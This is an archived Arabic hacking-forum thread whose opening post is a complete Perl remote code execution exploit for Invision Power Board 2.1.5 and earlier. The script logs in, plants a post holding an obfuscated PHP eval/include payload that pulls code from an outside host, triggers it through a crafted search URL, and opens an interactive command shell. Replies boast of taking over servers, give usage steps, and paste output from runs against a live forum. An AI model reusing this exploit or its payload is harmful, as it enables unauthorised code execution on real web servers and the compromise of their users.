المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : Invision Power Board <= 2.1.5 (lastdate) Remote Code Execution Exploit


MeSa7eB
30-04-2006, 11:07
السلام عليكم ورحمة الله وبركاته

#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru


use IO::Socket;
use Getopt::Std;

getopts("l:h:p:d:f:v:");

$host = $opt_h;
$dir = $opt_d;
$login = $opt_l;
$password = $opt_p;
$forum = $opt_f;
$version = $opt_v || 0;

$|++;

header();
if(!$host||!$dir||!$login||!$password||!$forum) { usage(); }

print "[~] SERVER : $hostrn";
print "[~] PATH : $dirrn";
print "[~] LOGIN : $loginrn";
print "[~] PASSWORD : $passwordrn";
print "[~] TARGET : $version";
print (($version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print "rn";

print "[~] Login ... ";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$login =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post = 'UserName='.$login.'&PassWord='.$password;
$loggedin = 0;
print $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1rn";
print $sock "Host: $hostrn";
print $sock "Connection: closern";
print $sock "&@#&@#&@#&@#&@#&@#&@#-Type: application/x-www-form-urlencodedn";
print $sock "&@#&@#&@#&@#&@#&@#&@#-length: ".length($post)."rnrn";
print $sock "$post";
print $sock "rnrn";
while (<$sock>)
{
if(/session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print $sock "GET ${dir}index.php HTTP/1.1rn";
print $sock "Host: $hostrn";
print $sock "******: session_id=$sid;rn";
print $sock "Connection: closernrn";
while (<$sock>)
{
if(/act=Login&amp;CODE=03/) { $loggedin = 1; last; }
}
if($loggedin) { print " [ DONE ]rn"; }
else { print " [ FAILED ]rn"; exit(); }

print "[+] SID: $sidrn";

print "[~] Try get md5_check ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
if($version==1)
{
print $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum}
HTTP/1.1rn";
}
else
{
print $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1rn";
}
print $sock "Host: $hostrn";
print $sock "******: session_id=$sid;rn";
print $sock "Connection: closernrn";
while (<$sock>)
{
if($version == 1 && /ipb_md5_checks*= "([a-f|0-9]{32})"/) { $md5_check =
$1; last; }
if($version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
}
close($sock);
if($md5_check) { print " [ DONE ]rn"; print "[+] MD5_CHECK :
$md5_checkrn"; }
else { print " [ FAILED ]rn"; exit(); }

print "[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text =
'r57ipbxplhohohoeval(include(chr(104).chr(116).chr (116).chr(112).chr(58).chr(47).chr(47).chr(
114).chr(115).chr(116).chr(46).chr(118).chr(111).c hr(105).chr(100).chr(46).chr(114).chr(117).
chr(47).chr(114).chr(53)'.

'.chr(55).chr(105).chr(112).chr(98).chr(105).chr(1 10).chr(99).chr(46).chr(116).chr(120).chr(1
16))); //';
$post =
"st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&re****attachid=0&
amp;CODE=01&post_key=&TopicTitle=justxpl&TopicDesc=justxpl&poll_question=&
;ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";

print $sock "POST ${dir}index.php HTTP/1.1rn";
print $sock "Host: $hostrn";
print $sock "******: session_id=$sid;rn";
print $sock "Connection: closern";
print $sock "&@#&@#&@#&@#&@#&@#&@#-Type: application/x-www-form-urlencodedn";
print $sock "&@#&@#&@#&@#&@#&@#&@#-length: ".length($post)."rnrn";
print $sock "$post";
print $sock "rnrn";
while (<$sock>)
{
if(/Location:/) { $created = 1; last; }
}
if($created) { print " [ DONE ]rn"; }
else { print " [ FAILED ]rn"; exit(); }

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[~] Search message ...";
$post =
'keywords=r57ipbxplhohohoeval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1
&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=po
sts&result_type=posts';
print $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1rn";
print $sock "Host: $hostrn";
print $sock "******: session_id=$sid;rn";
print $sock "Connection: closern";
print $sock "&@#&@#&@#&@#&@#&@#&@#-Type: application/x-www-form-urlencodedn";
print $sock "&@#&@#&@#&@#&@#&@#&@#-length: ".length($post)."rnrn";
print $sock "$post";
print $sock "rnrn";

while (<$sock>)
{
if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; }
}

if($searchid) { print " [ DONE ]rn"; }
else { print "[ FAILED ]rn"; exit(); }
print "[+] SEARCHID: $searchidrn";

$get =
'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result
_type=posts&highlite=r57ipbxplhohohoeval&lastdate=z|eval.*?%20//)%23e%00';

while ()
{
print "Command for execute or 'exit' for exit # ";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit');
last;
}
&run($cmd);
}

sub run()
{
$cmd =~ s/(.*);$/$1/eg;
$cmd =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$cmd2 = '%65%63%68%6F%20%5F%53%54%41%52%54%5F%20%26%26%20' ;
$cmd2 .= $cmd;
$cmd2 .= '%20%26%26%20%65%63%68%6F%20%5F%45%4E%44%5F';
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$host", PeerPort => "80") || die "[-] CONNECTION FAILED";

print $sock "GET ${dir}${get}&eharniy_ekibastos=$cmd2 HTTP/1.1rn";
print $sock "Host: $hostrn";
print $sock "******: session_id=$sid;rn";
print $sock "Connection: closernrn";

$on = 0;
$runned = 0;
while ($answer = <$sock>)
{
if ($answer =~ /^_END_/) { return 0; }
if ($on == 1) { print " $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}
}

sub header()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~rn";
print " Invision Power Board 2.* commands execution exploit by RST/GHCrn";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~rn";
}

sub usage()
{
print "r57ipbce.pl -h <host> -d <dir> -l <login> -p <password>
-f <forum> -v <version>rnrn";
print "<host> - host where IPB installed e.g www.ipb.comrn";
print "<dir> - folder where IPB installed e.g. /forum/ , /ipb/ ,
etc...rn";
print "<login> - login of any exist userrn";
print "<password> - and password too )rn";
print "<forum> - number of forum where user can create topic e.g 2,4,
etcrn";
print "<version> - forum version:rn";
print " 0 - 2.0.*rn";
print " 1 - 2.1.*rn";
exit();
}

احترامي

TiMe Up
01-05-2006, 12:01
مشكور حبيبي

_Neo__The_OnE
01-05-2006, 02:30
مشكر والله على الثغرة الجميلة دى

AvIrL@BoY@LoVeR
01-05-2006, 05:05
ثانكس مسحب

تشااو

red_hacker
01-05-2006, 10:20
مشكور لكن ما هية طريقة إستغلال مثل هكذا ثغرات

mohandko
02-05-2006, 05:24
ياريت الشرح انا الثغرة موشغالة معى |124|

bLoOd MoOn
03-05-2006, 05:11
الثغرة مجربة ومية المية اول ما نزلت جبت بيها سيرفرات كانت بنفسي لوووووول
اخوان الاستغلال موجود
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~
r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>

<host> - host where IPB installed e.g www.ipb.com
<dir> - folder where IPB installed e.g. /forum/ , /ipb/ , etc...
<login> - login of any exist user
<password> - and password too )
<forum> - number of forum where user can create topic e.g 2,4, etc
<version> - forum version:
0 - 2.0.*
1 - 2.1.*
من المتطلبات
تسجل بالمنتدى لأن تحتاجه بالتطبيق
نفرض رابط المنتدى http://www.xxx.com/ib
نفرض انك سجلت بأسم blood والباسورد بتاعك 000000
يكون التطبيق بهذي الصورة
r57ipbce.pl -h www.xxx.com -d /ib/ -l blood -p 000000 -f 4 v 1

شرح على الطاير |120|

تقبلوا تحياتي

MeSa7eB
03-05-2006, 10:53
هلا اخواني ..

الثغره بلغة بيرل :

#!/usr/bin/perl

في موضوع يشرح الاستغلال ..

مشكورين على حسن المرور ..

احترامي

بو كميل
27-05-2006, 09:18
بعدين لين طلعت الهاش ويش أسوي؟

Eddy_BAck0o
27-05-2006, 09:24
تقدر تعرف خطا وينه وتستثرمها بلبي اتش بي طبعا :=)

بو كميل
27-05-2006, 09:34
نفذت العملية طلع ليي ثلاث هاشات ويش اسوي فيهم؟

[~] PATH : /forum/
[~] LOGIN : Muneer
[~] PASSWORD : 123456
[~] TARGET : 1 - IPB 2.1.*
[~] Login ... [ DONE ]
[+] SID: 7f36f02e5d0eeffe460a2ac2b65e3301
[~] Try get md5_check ... [ DONE ]
[+] MD5_CHECK : 5f268d3b78fd066dc434ead39e7018b3
[~] Create new message ... [ DONE ]
[~] Search message ... [ DONE ]
[+] SEARCHID: d16691a1e56bf4115d8a92ea8a73a0d5

و شنو طريقة استثمار الثغرة بالphp نفس ما تقول؟
Command for execute or 'exit' for exit #

فـ الحربي ـهد
28-05-2006, 04:02
شكرا جاري التطبييق ...

بو كميل
28-05-2006, 11:29
نفذت العملية طلع ليي ثلاث هاشات ويش اسوي فيهم؟

[~] PATH : /forum/
[~] LOGIN : Muneer
[~] PASSWORD : 123456
[~] TARGET : 1 - IPB 2.1.*
[~] Login ... [ DONE ]
[+] SID: 7f36f02e5d0eeffe460a2ac2b65e3301
[~] Try get md5_check ... [ DONE ]
[+] MD5_CHECK : 5f268d3b78fd066dc434ead39e7018b3
[~] Create new message ... [ DONE ]
[~] Search message ... [ DONE ]
[+] SEARCHID: d16691a1e56bf4115d8a92ea8a73a0d5

Command for execute or 'exit' for exit #

و شنو طريقة استثمار الثغرة بالphp نفس ما تقول؟